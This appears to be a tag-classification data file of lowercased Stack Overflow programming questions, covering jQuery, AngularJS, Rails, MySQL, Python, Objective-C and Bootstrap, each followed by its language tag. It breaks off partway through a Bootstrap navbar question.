how to wrap jquery html object variable  i m having an issue with html object variable      <pre><code>var loading = $( &lt;div class= loading  style= display:none &gt;loading...&lt;/div ); </code></pre>   later on i need to wrap the object in another div with some custom styles   <pre><code>var animatewrapper = $( &lt;div style= width:  + elwidth +  ; position:absolute; top: +elpos.top+ ; left:  + elpos.left +   &gt;  + loading.html() +  &lt;/div&gt; ); </code></pre>   irregardless of whether i declare <code>animaterwrapper</code> and then append <code>loading</code> or or try wrapping <code>loading.wrap()</code> with the wrapper div where loading should be is always empty.    how do i achieve this,jquery
how to dynamically add a decorator after angularjs bootstrap  is there a way in angularjs to dynamically (after angular bootstrap) to enhance a service by proxying it using the <code>decorator</code> pattern.    in the following <a href= http://plnkr.co/edit/mv6ddlkemobvjmsdmhfq  rel= nofollow >plunker example</a> i can overload my default search service (google based) but this relies on the declaration/addition of the overloading module (the yahoo one) using the <code>app.requires</code> dependencies of the application before the angular app is bootstrapped. this does not work once the angular application is already bootstrapped  as demoed when clicking on <code>duckduckgo</code> button.    i must do the decoration dynamically by injecting javascript code into the application in a migration scenario where the webapp has to be embed into a java client (using javafx webview) and where some actions (the ones introduced dynamically) have to replace standard behavior of the webapp.    i have tried to use some technics described by <a href= http://ify.io/lazy-loading-in-angularjs/  rel= nofollow >ifeanyi isitor in his blog</a> without success.,angularjs
draw male and female gender symbols in ios  does anyone know how to programmatically draw the male and female gender signs in ios like the ones below     <a href= https://i.stack.imgur.com/jvpz2.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/jvpz2.png  alt= gender symbols ></a>,ios
how to run a specific version of rake  background:   <ul> <li>i get errors whenever i run rake in an older project. (uninitialized constant rake::dsl).</li> <li>the rails project in question is an old project that was started with rails 2.1 (i think)  and since then i ve updated the os on my laptop a couple of times  and made updates along the way to make it run.</li> <li>right now  the rails app works fine  provided i have rails_gem_version set to 2.3.5. i m not sure if the app was <em>completely</em> updated to rails 2.3.5.</li> <li>there is no gemfile in my older project.</li> <li>if i create a brand-new rails project (and unset rails_gem_version)  rake runs fine.</li> </ul>   my question: to troubleshoot  i d like to try newer versions of rake. i d like to know how to force one specific version to be used  since it appears i have multiple versions installed.    info on my environment:   <pre><code>$ gem list rake  *** local gems ***  rake (0.9.2.2  0.9.2  0.8.7  0.8.3)   $ rake --version rake  version 0.8.7 </code></pre>   so it looks like it s picking up the 0.8.7 version.    all the help files online seem to tell me to specify the rake version in the gemfile  but there isn t one in this project. (maybe it predates gemfiles )    if i unset the rails_gem_environment variable altogether  and try to run rake  i get:   <pre><code>rake aborted! can t activate rails (= 2.3.5  runtime) for []  already activated rails-3.2.8 for [] </code></pre>   none of the environment config files in my older project set that variable either.,ruby-on-rails
script-tag with username password   is there a mechanism to authenticate a script tag when loading a file     is there a way to do something like this    <pre><code>&lt;script src= /scripts/test.js  username= user  password= pw &gt; </code></pre>,html
jquery grayscale on hover  does anyone know whether there is a way to make an image grayscale on hover - other than by creating 2 separate images and altering the src.    thanks    edit - semi working code...:   <pre><code>&lt;script type= text/javascript  src= http://ajax.microsoft.com/ajax/jquery/jquery-1.4.2.min.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= scripts/pixastic-1.custom.js &gt;&lt;/script&gt;  &lt;script type= text/javascript &gt; $(document).ready(function() {     var img = $( .test img )     $( .test ).hover(function() {         $( img   this).pixastic( desaturate );    }  function() {        $(this).html(img);    });  }); &lt;/script&gt; </code></pre>   and   <pre><code>&lt;div class= test  style= padding:25px; width:200px; background-color:#f96 &gt;   &lt;img class= pic  src= images/home/mainimage/family_woods.jpg  width= 100  height= 100  alt=   /&gt; &lt;/div&gt; </code></pre>   how can i amend this to work if there is more than one div on the page... like this...   <pre><code>&lt;div class= test  style= padding:25px; width:200px; background-color:#f96 &gt;   &lt;img class= pic  src= images/home/mainimage/family_woods.jpg  width= 100  height= 100  alt=   /&gt; &lt;/div&gt;  &lt;div class= test  style= padding:25px; width:200px; background-color:#f96 &gt;   &lt;img class= pic  src= images/home/mainimage/another_image.jpg  width= 100  height= 100  alt=   /&gt; &lt;/div&gt; </code></pre>,jquery
delete comment link not working (acts_as_commentable)  in my rails app  each post has a comment section where users can leave comments. i want each comment to have a delete link but i just can t get it to work. i am using the acts_as_commentable gem here.    posts/show.html.erb   <pre><code>&lt;% @comments.each do |comment| %&gt;   &lt;p&gt;&lt;strong&gt;&lt;%= comment.user.username %&gt;&lt;/strong&gt;&lt;/p&gt;   &lt;p class= comment &gt;&lt;%= comment.comment %&gt;&lt;p&gt;   &lt;%= link_to  delete   [@post  comment]  method: :delete %&gt;  &lt;% end %&gt; </code></pre>   i need help with this line    <pre><code>&lt;%= link_to( delete   [@post  comment]  method: :delete %&gt;  </code></pre>   comments_controller.rb   <pre><code>def create    @post = post.find(params[:post_id])    @comment = @post.comments.create(comment_params)    @comment.user_id = current_user.id  end  def destroy   @comment = comment.find(params[:id])   redirect_to :back end  </code></pre>   thanks for your help! :),ruby-on-rails
error on user authentication not working  i have a sessions_helper file that finds a user and if the user is found logins to the application. however  if the user is not found  it should give an error.    <pre><code>module sessionshelper    # log a user in after authenticating  store in session   def log_in(user)     if user.id.nil        format.html { redirect_to signin_path  notice:  invalid email or password  }       format.json { head :no_content }     else       session[:user_id] = user.id     end   end end </code></pre>   i have a sessions/unauth view.   <pre><code>&lt;div class= col-md-4 &gt;         &lt;div class= panel panel-default &gt;             &lt;div class= panel-heading &gt;log in!&lt;/div&gt;             &lt;div class= panel-body &gt;                 &lt;%= form_for(:credentials  url: signin_path) do |f| %&gt;                     &lt;div class= form-group &gt;                         &lt;%= f.label :email%&gt;                         &lt;%= f.email_field :email  class:  form-control %&gt;                     &lt;/div&gt;                         &lt;div class= form-group &gt;                         &lt;%= f.label :password%&gt;                         &lt;%= f.password_field :password  class:  form-control %&gt;                     &lt;/div&gt;                     &lt;%= submit_tag %&gt;                 &lt;% end %&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt; </code></pre>   this code allows user to login to app successfully  but if user is not found does not display an error on the application.,ruby-on-rails
button enable / disable rules  what should i learn so button would get disabled or enabled automatically by some rules     example if there is no necessary text  disable button. if there is necessary text but other things is not set up correctly  keep disabling button. i imagine there could be something like button listener that is waiting for all set rules to be true.,android
practicing where and having in sql  here is the schema:    <a href= http://img30.imageshack.us/img30/3324/123vk.jpg  rel= nofollow noreferrer >alt text http://img30.imageshack.us/img30/3324/123vk.jpg</a>    here is the question:    point out the battles in which at least three ships from the same country took part.    here is my answer:   <pre><code>  select battles.name      from battles           outcomes           ships           classes     where outcomes.ship = ships.name  group by battles.name    having count(classes.country) &gt;= 3; </code></pre>   can you please tell me why it is wrong and help me to correct it!,sql
randomly splitting a data set into training and test using java  i want to split my dataset randomly into training and testing data for naive bayes classification in java. i know  i have one option to use weka but i don t want to use external libraries. what other possibilities do i have using java,java
parser error message: could not load file or assembly. but the assembly is there  i do not understand from where this problem comes. i have the correct assembly in the bin  the same is correctly referenced in the web.config   <pre><code>&lt;compilation targetframework= 4.5  debug= true &gt;   &lt;assemblies&gt;     &lt;add assembly= system.design  version=4.0.0.0  culture=neutral  publickeytoken=b03f5f7f11d50a3a /&gt;     &lt;add assembly= telerik.reportviewer.webforms  version=8.1.14.804  culture=neutral  publickeytoken=a9d7983dfcc261be /&gt;   &lt;/assemblies&gt; &lt;/compilation&gt; .... &lt;httphandlers&gt;   .........   &lt;add path= telerik.reportviewer.axd  verb= *  type= telerik.reportviewer.webforms.httphandler  telerik.reportviewer.webforms  version=8.1.14.804  culture=neutral  publickeytoken=a9d7983dfcc261be  validate= true /&gt; &lt;/httphandlers&gt; </code></pre>   the particular feature object of the error is working on my developing machine but on the production server i get this error!   <pre><code>parser error description: an error occurred during the parsing of a resource required to service this request. please review the following specific parse error details and modify your source file appropriately. parser error message: could not load file or assembly  telerik.reporting  version=8.1.14.804  culture=neutral  publickeytoken=a9d7983dfcc261be  or one of its dependencies. the located assembly s manifest definition does not match the assembly reference. (exception from hresult: 0x80131040) source error: line%70&lt;td%class= leftgridcolumn &gt;&amp;nbsp;&lt;/td&gt; line%71:&lt;td%class= centergridcolumn &gt; line%72&lt;telerik:reportviewer%id= reportviewer1 %runat= server %width= 100% %height= 660px %showexportgroup= false % line%73:&lt;/td&gt; line%74:&lt;td%class= rightgridcolumn &gt;&amp;nbsp;&lt;/td&gt; </code></pre>   any hint will be really appreciated i do not know what else do do to solve this problem.,asp.net
how to make checkbox to update in mysql with different id  i work on project for task  that is aplication which have input for enter task in database(mysql) and after that show that input in web. now i have check box for each id from mysql. i want make if check box is checked press button and update in mysql task is over  but problem is here how tell each id to update diferent value. i mean on task is  over  or task is  not_over .,html
self-learning xcode/objective-c:  static  doesn t seem to mean what i *think* it means  i m working through examples in the book  visual quick start  objective-c  by holzner. i spend a lot of time with each example  getting the code debugged is the faster part  and then stepping through saying to myself why each line of code works  what each word in each line does and  deciding why the author used one way of doing things versus another. then i repeat the example with some story of my own. this seems to be a good way to move from being a structured programmer and to an oop-like one. it works with these examples because he just does one concept at a time. (i ve worked part way through 2 other books and this idea did not work for me in those. once i got confused by something  i just stayed confused. there were too many variables in the lengthier  more complex examples.)    in the current example (page 137)  holzner uses the word  static . i looked through examples in this book to decide what this word means. i also read the description in bjarne stroustrups  c++ programming language  book (i understand that c++ and objective-c are not exactly the same)    (bjarne stroustup p 145)  use a static variable as a memory      instead of a global variable that  might be accessed and corrupted by other functions     here is what i understand  static  means as a result. i thought that meant that the value of a static variable would never change. i thought that meant it was like a constant value  that once you set it to 1 or 5 it couldn t be changed during that run.    but in this example piece of code  the value of the static variable <em>does</em> change. so i am really unclear on what  static  means.    (please ignore the  followup question  i left commented in. i didn t want to change anything from my run  and risk creating a reading error    thank you for any clues you can give me. i hope i didn t put too much detail into this question.    laurel    .....   <pre><code>program loaded. run [switching to process 2769] running… the class count is 1 the class count is 2  debugger stopped. program exited with status value:0. </code></pre>   .....   <pre><code>// //  main.m //  using constructors with inheritance //quick start objective c page 137 //  #include &lt;stdio.h&gt;  #include &lt;foundation/foundation.h&gt;  @interface theclass : nsobject  // followup question - in last version of contructors we did ivars like this //{ //  int number; //}  // here no curly braces. i think because here we are using  static  and/or maybe cuz keyword  //   or because in original we had methods and here we are just using inheirted methods  //  and static is more long-lasting retention  wise than the other method //             * * *   // reminder on use of  static  (bjarne stroustup p 145) // use a static variable as a memory   //     instead of a global variable that  might be accessed and corrupted by other functions   static int count;  // remember that the + is a  class method  that i can execute  //         using just the class name  no object required (p 84. quick start  holzner)  // so defining a class method  getcount   +(int) getcount;   @end  @implementation theclass  -(theclass*) init {     self = [super init];     count++;     return self; }  +(int) getcount {      return count; }  @end   // but since  count  is static  how can it change it s value  it doeeessss....   int main (void) {     theclass *tc1 =  [theclass new]  ;     printf( the class count is %i\n   [theclass getcount]);      theclass *tc2 =  [theclass new]  ;     printf( the class count is %i\n   [theclass getcount]);       return 0; } </code></pre>,objective-c
in mysql s client\server protocol  how to set the format of row data packet of as binary   according to mysql internal manual  the default format of row data packet that server respond to client s command(e.g. a sql select statement) is character. however  the manual also mentions the packet could be in binary form. i d like to know how to set the format of row data packet of as binary  <a href= http://i.stack.imgur.com/mpme0.png  rel= nofollow >the description of row data packet:binary in mysql internal manual</a>,mysql
transform on mysql subquery  i want to mysql join 2 tables in a special way.    here are my 2 tables:    rights   <blockquote>    <kbd><code><strong>right_id</code></strong></kbd>   <kbd><code><strong>thumbnail</code></strong></kbd>   <kbd><code><strong>enabled</code></strong></kbd><br>   <kbd><code>1       </code></kbd> <kbd><code>img1.png </code></kbd> <kbd><code>1      </code></kbd><br>   <kbd><code>2       </code></kbd> <kbd><code>img2.png </code></kbd> <kbd><code>1      </code></kbd><br>   <kbd><code>3       </code></kbd> <kbd><code>img3.png </code></kbd> <kbd><code>1      </code></kbd><br>  </blockquote>   right strings   <blockquote>    <kbd><code><strong>right_id</code></strong></kbd>   <kbd><code><strong>language</code></strong></kbd>   <kbd><code><strong>string_key  </code></strong></kbd>   <kbd><code><strong>string value</code></strong></kbd><br>   <kbd><code>1       </code></kbd>   <kbd><code>en      </code></kbd>   <kbd><code>short_header</code></kbd>   <kbd><code>right 1     </code></kbd><br>   <kbd><code>1       </code></kbd>   <kbd><code>de      </code></kbd>   <kbd><code>short_header</code></kbd>   <kbd><code>recht 1     </code></kbd><br>   <kbd><code>1       </code></kbd>   <kbd><code>de      </code></kbd>   <kbd><code>long_header </code></kbd>   <kbd><code>langer text </code></kbd><br>   <kbd><code>1       </code></kbd>   <kbd><code>en      </code></kbd>   <kbd><code>long_header </code></kbd>   <kbd><code>long text   </code></kbd><br>   <kbd><code>1       </code></kbd>   <kbd><code>en      </code></kbd>   <kbd><code>content     </code></kbd>   <kbd><code>bla bla bla </code></kbd><br>   <kbd><code>1       </code></kbd>   <kbd><code>de      </code></kbd>   <kbd><code>content     </code></kbd>   <kbd><code>bla bla bla </code></kbd><br>  </blockquote>   this repeats for other languages and all rights as well.    is it possible to create a query that will return all rights as only one row in the following format    <blockquote>    <kbd><code><strong>right_id</strong></code></kbd><kbd><code><strong>thumbnail</strong></code></kbd><kbd><code><strong>enabled</strong></code></kbd><kbd><code><strong>short_header_en</strong></code></kbd><kbd><code><strong>short_header_de</strong></code></kbd><kbd><code><strong>long_header_en</strong></code></kbd><kbd><code><strong>long_header_de</strong></code></kbd><kbd><code><strong>content_en</strong>     </code></kbd><kbd><code><strong>content_de     </strong></code></kbd><br>   <kbd><code>1       </code></kbd><kbd><code>img1.png </code></kbd><kbd><code>1      </code></kbd><kbd><code>right 1        </code></kbd><kbd><code>recht 1        </code></kbd><kbd><code>long text     </code></kbd><kbd><code>langer text   </code></kbd><kbd><code>bla bla bla    </code></kbd><kbd><code>bla bla bla    </code></kbd>  </blockquote>   i assume that mysql has some kind of transform for subqueries but i do not know what to even look for.    thank you,mysql
non breaking white space between text and <a>  how do i provide a non breaking white space between a text element and <code>&lt;a&gt;</code> tag all nested within a <code>span</code>   <pre><code>&lt;span&gt;     &lt;label&gt; this is xyz&lt;/label&gt;     &lt;a href =  &gt;  &lt;/span&gt; </code></pre>   i want to do this using css and not with <code>&amp;nbsp</code>;    also i have tried using all combinations of <code>white-space</code>  but it wasn t any good.,css
create an array of objects in python  i m trying to make a list of objects in python. i m doing this by making one object and appending it. here is my code.    <pre><code>#creating a python object class testdat(object):      dat1 = none      dat2 = none #declaring the test array testarray = [] #declaring the object test1 = testdat() #defining the member variables in said object test1.dat1 = 0 test1.dat1 = 1 #appending the object to the list testarray.append(test1) #rewriting and appending again test1.dat1 = 3 test1.dat1 = 4 testarray.append(test1) #printing our our results print testarray[0].dat1 print testarray[1].dat1 </code></pre>   when i test it out. i get the output  4 4 . this means that both elements of the list are the same. it seems like append is just copying a pointer to the object instead of a copy of said object. i would eventually like to do this in a loop so i can t be doing that. how can i get both elements of the list to be different without using a new object,python
session variables and back button  please see the code below:   <pre><code>partial class _default     inherits system.web.ui.page      protected sub page_init(byval sender as object  byval e as system.eventargs) handles me.init         session( test ) = request.querystring( id )     end sub      protected sub button1_click(byval sender as object  byval e as system.eventargs) handles button1.click         response.write(session( test ))     end sub end class </code></pre>   please follow the following steps:   <blockquote>    1) go to default.aspx id=1<br>       2) click the button<br>       3) go to default.aspx id=2<br>       4) click the button<br>       5) use the back button to go back to step 1<br>       6) click the button    </blockquote>   is there any scenario where the id after step 6 can be 2 instead of 1  i am trying to trap a bug.  i don t think it can be because the button starts the asp.net lifecycle and the page init is executed first.,asp.net
properties in python  whats the reason to use the variable the self._age   a similar name that doesn t link to the already used self.age    <pre><code>class newprops(object):     def getage(self):         return 40     def setage(self  value):         self._age = value     age = property(getage  setage  none  none) </code></pre>,python
mvc partial load in document.ready not getting fired  i have   <pre><code>        &lt;div id= reports &gt;             &lt;img src= ~/content/img/wait.gif  /&gt;loading reports...         &lt;/div&gt;  ... @section scripts {     &lt;script type= text/javascript &gt;          $(document).ready(function () {             alert( test );             $( #reports ).load( /report );              $( #reporttype ).change(checkreportselection);             checkreportselection.apply($( #reporttype ));         });     &lt;/script&gt; } </code></pre>   on my machine  #reports is loaded with data from report controller as soon as this page is loaded. i tried on a different machine  targeting this machine and it worked fine. the host machine is windows 10.    when i deployed it to another machine that is server 2012 r2   loading reports...  stays and report controller is not invoked (checked using debugger). i tried using chrome and ie and doesn t work.    i do get alert so i know document.ready is fired.    what could be the issue  thanks,jquery
which parts of c# .net framework are actually parts of the language   i am wondering which parts of the <code>system</code> are language features (core components)  and which parts are just useful filler  but aren t strictly necessary. i may be off with the wording here  so let me illustrate with an example what i mean.    consider <code>system.console</code> class it s obviously something that is used for something very particular. in essence  this thing is there to play nice with a feature of windows / current os. it s not what i would call a core component of the language.    on the other hand  take the <code>system.idisposable</code> interface. that thing s obviously very important  as without it the <code>using()</code> statement is useless. a class needs to implement this particular interface for a language feature to kick in.    i could assume that the <code>mscorlib</code> is the responsible party here. a quick glance with the object explorer shows that it indeed houses many of the components i can agree are core  while at the same time it puts the <code>console</code> class into system namespace  which is just filler.     this notion of placing filler and language-specific objects into the same namespace equates them  but for a deeper understanding of c#  i would like to know which is which. so  i m looking for a list of core components of c#. i m assuming that there s a handy reference somewhere  but since i was asleep during the google-lecture i was unable to form the correct query to find it.    thanks in advance.    <strong>much later edit</strong> i read <a href= http://blogs.msdn.com/b/ericlippert/archive/2011/06/30/following-the-pattern.aspx  rel= nofollow >this</a> lippert blog post  it s kind-of-related. interestingly <code>foreach</code> construct doesn t actually require <code>ienumerable</code> interface to function.,c#
how to sort barcode string in asc in mysql  hi i have one table name <code>self_instrument</code> that have one column <code>id_number</code> i.e its barcode for instrument ..  i want show record as per id_number in ascending order  like below    <pre><code>aca1/std/01--&gt;this is barcode aca2/std/01 aca3/std/01  acb1/std/01 acb2/std/01 . . . . </code></pre>   mysql query is    <pre><code>select distinct id_number   from  `self_instrument`  where `id_number` !=       order by if( locate(  /   `id_number` ) &gt;0               substring( `id_number`   locate(  /   `id_number` ) +1 )               concat(  z   `id_number` ) )            if( locate(  /   `id_number` ) &gt;0               substring( `id_number`   1  3 )                concat(  z   `id_number` ) )            cast( if( locate(  /   `id_number` ) &gt;0                     substring( `id_number`   4  locate(  /   `id_number` ) -4 )                      concat(  z   `id_number` ) ) as unsigned ) </code></pre>   but when i running this it shows output like   <pre><code>wt/ci-eq/2011/500   --&gt;these are some exceptional barcode in the records  blore/dhtc/alab/50-600/01   ---&gt;same as above  ac/inst/021      ac/inst/021      aca1/std/01          aca2/std/01          aca3/std/01      aca4/std/01      aca5/std/01      aca6/std/01 </code></pre>   so as per asc order it needs to show  a first then in last w and series pattern  is like  aca1/std/01<br> aca2/std/01 aca3/std/01,mysql
css - heading background color with padding  i have a jsfiddle here - <a href= https://jsfiddle.net/z9ptvz87/  rel= nofollow >https://jsfiddle.net/z9ptvz87/</a>    i d need the headings to have a background color and same padding on all sides.    i sort of have ot working here but it s with line-height to get it working. without line-height it looks like this.    <a href= https://jsfiddle.net/z9ptvz87/10/  rel= nofollow >https://jsfiddle.net/z9ptvz87/10/</a>    is there a better way to do this and have padding on the left and right of the text.   <pre><code>    *{         font-family: sans-serif;     }      .block{         margin: 50px;         width: 400px;     }      .block span{         display: block;         }      h1  h2{         background: red;         display: inline;         padding:10px;         line-height: 2em;     } </code></pre>,css
use another function to create objects  i m fairly new to java  and i was making a small application that takes two cars and returns who is faster. i made another class for the cars. first i made all the objects in the main method and it worked  then i tried putting the code in another method and called that from main  just to make it neater  and i got an error. probably something obvious  but i m too tired to think straight.    error:(7  14) java: cannot find symbol   symbol:   variable ferrari   location: class test    error:(7  23) java: cannot find symbol   symbol:   variable lamborghini   location: class test   <pre><code>public class test {  public static void main(string[] args) {      createcars();      race(ferrari  lamborghini);  }  public static void createcars() {      car ferrari = new car( ferrari    california );     ferrari.sethp(552);     ferrari.setacceleration(3.3);      car lamborghini = new car( lamborghini    huracan );     lamborghini.sethp(602);     lamborghini.setacceleration(2.5);      car bmw = new car( bmw    m5 );     bmw.sethp(560);     bmw.setacceleration(3.7);      car cadillac = new car( cadillac    cts-v );     cadillac.sethp(640);     cadillac.setacceleration(3.6);  }   public static void race(car cara  car carb) {     if (cara.getacceleration() &lt; carb.getacceleration()) {         system.out.println( the   + cara.getmake() +     + cara.getmodel() +   is faster than the   + carb.getmake() +     + carb.getmodel());     } else if (carb.getacceleration() &lt; cara.getacceleration()) {         system.out.println( the   + carb.getmake() +     + carb.getmodel() +   is faster than the   + cara.getmake() +     + cara.getmodel());     } else {         system.out.println( it s a tie );     } } </code></pre>   },java
how to declare jquery var inside bind function  i have the following simple script   <pre><code>$( .numberdiv ).bind( domsubtreemodified  function(){   var tester = $(this).text().substring(1);   console.log( the option with value   + $(this).text().substring(1));    console.log($tester);  }); </code></pre>   which results in   <pre><code>&gt; the option with value 0.12 &gt; general.js oqank0:50 uncaught referenceerror: $tester is not defined </code></pre>   i have also tried first declaring <code>var tester</code> outside of document.    probably a newbie mistake  but i am not able to see what. :) my goal is check if <code>$this</code> is less than or greater than 5.00  so maybe there is even a better way,jquery
how to add the text to uilabel back ground image  i am developing one applciation.in that i added the image as background for uilabel.and after that i give the text for uilabel.but it doesn t show the text.so please tell me how to show the text for label with background image. below one is the code for set the image as background.   <pre><code>   uiimage *ansimage=[uiimage imagenamed:@ answerbox_standard.png ];   uilabel *a1=[uilabel alloc]init];   a1.frame=cgrectmake(10  160  ansimage.size.width  ansimage.size.height);    a1.backgroundcolor = [uicolor colorwithpatternimage:[uiimage imagenamed:@ answerbox_standard.png ]]; </code></pre>,iphone
rails: link_to with path with automatic scope parameter  i m developing web app where each organization (group) has own subdomain (as namespace). unfortunately it s not working on heroku.    so i m trying to change whole concept from <code>group_name.myapp.com/resources</code> to <code>myapp.com/group_name/resources</code>.     here s my route file now   <pre><code>  scope  :group  do     resources :clients     resources :carriers     resources :transport_orders   end </code></pre>   before change my links worked well  because paths were automatically pointing to subdomain. now every <code>link_to</code> needs to have specified <em>:group</em> parameter.    how to automatically specify <code>:group</code> parameter for links or have i to do it manually,ruby-on-rails
set background image in css style angularjs  i want to set an image dynamically having the path of the image setted in a scope. the problem is that this is seen as a text  the value of selectedevent.eventbannerimage is shown correctly  in my case the final url looks something like this:    background-image: url( /mydomain/images/banners\444b6e91-30fe-478b-a3d3-7984f0d35e69__1253402730_2873_full-269x300.jpg )  but it doesn t appear like a link as i need but just as a text. the image isn t shown.   <pre><code>&lt;div style= background-image:         url( ${pagecontext.request.contextpath}/images/{{selectedevent.eventbannerimage}} ) &gt; </code></pre>,angularjs
cost factor in software development  for a single developer  who is developing a .net application  what is the difference in cost between:   <ul> <li>linux  using monodevelop  mono framework  and apache  and</li> <li>windows xp pro  using visual studio 2008  sql server 2005  and iis 6.0</li> </ul>   [note: edited heavily. if i ve changed the meaning  feel free to roll back. - jon],.net
angularjs 1.7.2 - how to call a directive function from a controller   how do you call a directive s function from within a controller     i have seen a number of answers to this question  with the solution similar to the following:    <a href= https://lennilobel.wordpress.com/tag/calling-directive-from-controller/  rel= nofollow noreferrer >https://lennilobel.wordpress.com/tag/calling-directive-from-controller/</a>    i have implemented it as follows:    directive   <pre><code>angular.module( myapp ).directive( mydirective   [ $log    function ($log) {      function link(scope  element  attributes) {          //function that a controller can call         scope.myfunc = function () {             //do something         };           //if the user has provided an accessor  attach the function         if (scope.accessor) {             scope.accessor.myfunc = scope.myfunc;         }     }      return {         link: link          restrict:  e           templateurl:  app/mytemplate.html           scope: {             accessor:  =           }     } } </code></pre>   controller   <pre><code>angular.module( myapp ).controller( myctrl   [ $log    $q    function ($log  $q) {      var vm = this;      // empty object that the directive will attach myfunc to     vm.accessor = {};      $q         .all([             //service call         ])         .then(function (results) {                 //manipulate the results of the service call using the                 //directives function                 vm.calldirective();             }              function (err) {                 $log.debug( $q.all err:   err);             });        vm.calldirective = function () {         if (vm.accessor.myfunc) {             vm.accessor.myfunc();         } else {             $log.error( umm  i don\ t have a function to call );         }     }; } </code></pre>   html template   <pre><code>&lt;div ng-controller= myctrl &gt;     &lt;mydirective accessor= vm.accessor &gt;&lt;/mydirective&gt; &lt;/div&gt; </code></pre>   when i run the code  the directive indicates that <em>accessor</em> is undefined.  as a result  <em>accessor</em>  in the controller  doesn t have <em>myfunc</em> defined.    how do i get <em>myfunc</em> to execute     i am using angular 1.7.2,angularjs
whats the different between nibnameornil and viewdidload methods   whats os the difference between initwithnibname and viewdidload methods   can i use them both,iphone
jquery if id hasclass not working  i need to set a class s height if an id has a specific class. i m using the code below which doesn t work   <pre><code>if ($( #nav_menu ).hasclass( active )){     $( .extra ).css( height   3000px ); } else{     $( .extra ).css( height   100% ); } </code></pre>   the html of <code>#nav_menu</code> is <code>&lt;li id= nav_menu &gt;</code> this list item gets a class when clicked. so when it is <code>&lt;li id= nav_menu  class= active &gt;</code> the <code>.extra</code> class should get it s height set to 3000px.    what s wrong with my if condition  thanks,jquery
clean python return assignment  i have a method that returns multiple items.    <pre><code>def multireturn():    return 1 2 3 4 </code></pre>   and im assigning it on one line   <pre><code>one  two  three  four = multireturn() </code></pre>   is there a way to cleanup the above line    something like:   <pre><code>one  two  three  four = multireturn() </code></pre>   because i have some variable names that have gotten large and the width of the page is bothering me.     any ideas to clean it up,python
getting nsdictionary from the plist  i created a plist and the structure looks like:   <pre><code>root - nsdictionary   firstname - nsarray   lastname - nsarray </code></pre>   i m not sure how i access this data after i get the dictionary.  when i log the contents of my dictionary  like so   <pre><code>nsdictionary *presetsdict = [[nsdictionary alloc] initwithcontentsoffile:plistpath]; self.presetsdictionary = presetsdict; for (nsstring *key in self.presetsdictionary) {     nslog(@ key:%@  object:%@   key  [self.presetsdictionary objectforkey:key]); </code></pre>   i get    <pre><code>key:root  object: { lastname = (my lastname array        ) // filled with the contents of my plist firstname - (my firstname array       ) </code></pre>   i was under the assumption that i would be able to get the lastname array and firstname array with something like   <pre><code>nsarray *farray = [self.presetsdictionary objectforkey:@ firstname ]; </code></pre>   but that returns nil.  how do i get access to my nsdictionary in the plist   thanks.,iphone
i want a navbar fixed to top but not to the top of the body but to top from a container in the middle of my page but it go to the top page  i want a navbar fixed to top but not to the top of the body but to top from a container in the middle of my page but it go to the top page   i want a navbar fixed to top but not to the top of the body but to top from a container in the middle of my page but it go to the top page    <pre><code> &lt;!doctype html&gt;  &lt;html&gt;  &lt;head&gt;  &lt;title&gt;bootstrap example&lt;/title&gt;    &lt;meta charset= utf-8 &gt;   &lt;meta name= viewport  content= width=device-width  initial-scale=1 &gt;    &lt;link rel= stylesheet  href= http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css &gt;   &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js &gt;&lt;/script&gt;   &lt;script src= http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js &gt;&lt;/script&gt;   &lt;style&gt;   body {       position: relative;    }   #section1 {padding-top:50px;height:500px;color: #fff; background-color: #1e88e5;}   #section2 {padding-top:50px;height:500px;color: #fff; background-color: #673ab7;}   #section3 {padding-top:50px;height:500px;color: #fff; background-color: #ff9800;}   #section41 {padding-top:50px;height:500px;color: #fff; background-color: #00bcd4;}   #section42 {padding-top:50px;height:500px;color: #fff; background-color: #009688;}   &lt;/style&gt; &lt;/head&gt; &lt;body data-spy= scroll  data-target= .navbar  data-offset= 50 &gt;  &lt;nav class= navbar navbar-inverse navbar-fixed-top &gt;   &lt;div class= container-fluid &gt;     &lt;div class= navbar-header &gt;         &lt;button type= button  class= navbar-toggle  data-toggle= collapse  data-target= #mynavbar &gt;           &lt;span class= icon-bar &gt;&lt;/span&gt;           &lt;span class= icon-bar &gt;&lt;/span&gt;           &lt;span class= icon-bar &gt;&lt;/span&gt;                               &lt;/button&gt;       &lt;a class= navbar-brand  href= # &gt;websitename&lt;/a&gt;     &lt;/div&gt;     &lt;div&gt;       &lt;div class= collapse navbar-collapse  id= mynavbar &gt;         &lt;ul class= nav navbar-nav &gt;           &lt;li&gt;&lt;a href= #section1 &gt;section 1&lt;/a&gt;&lt;/li&gt;           &lt;li&gt;&lt;a href= #section2 &gt;section 2&lt;/a&gt;&lt;/li&gt;           &lt;li&gt;&lt;a href= #section3 &gt;section 3&lt;/a&gt;&lt;/li&gt;           &lt;li class= dropdown &gt;&lt;a class= dropdown-toggle  data-toggle= dropdown  href= # &gt;section 4 &lt;span class= caret &gt;&lt;/span&gt;&lt;/a&gt;             &lt;ul class= dropdown-menu &gt;               &lt;li&gt;&lt;a href= #section41 &gt;section 4-1&lt;/a&gt;&lt;/li&gt;               &lt;li&gt;&lt;a href= #section42 &gt;section 4-2&lt;/a&gt;&lt;/li&gt;             &lt;/ul&gt;           &lt;/li&gt;         &lt;/ul&gt;       &lt;/div&gt;     &lt;/div&gt;   &lt;/div&gt; &lt;/nav&gt;      &lt;div id= section1  class= container-fluid &gt;   &lt;h1&gt;section 1&lt;/h1&gt;   &lt;p&gt;try to scroll this section and look at the navigation bar while scrolling! try to scroll this section and look at the navigation bar while scrolling!&lt;/p&gt;   &lt;p&gt;try to scroll this section and look at the navigation bar while scrolling! try to scroll this section and look at the navigation bar while scrolling!&lt;/p&gt; &lt;/div&gt; &lt;div id= section2  class= container-fluid &gt;   &lt;h1&gt;section 2&lt;/h1&gt;   &lt;p&gt;try to scroll this section and look at the navigation bar while scrolling! try to scroll this section and look at the navigation bar while scrolling!&lt;/p&gt;   &lt;p&gt;try to scroll this section and look at the navigation bar while scrolling! try to scroll this section and look at the navigation bar while scrolling!&lt;/p&gt; &lt;/div&gt; &lt;div id= section3  `enter code here`class= container-fluid &gt;   &lt;h1&gt;section 3&lt;/h1&gt;   &lt;p&gt;try to scroll this section and look at the navigation bar while scrolling! try to scroll 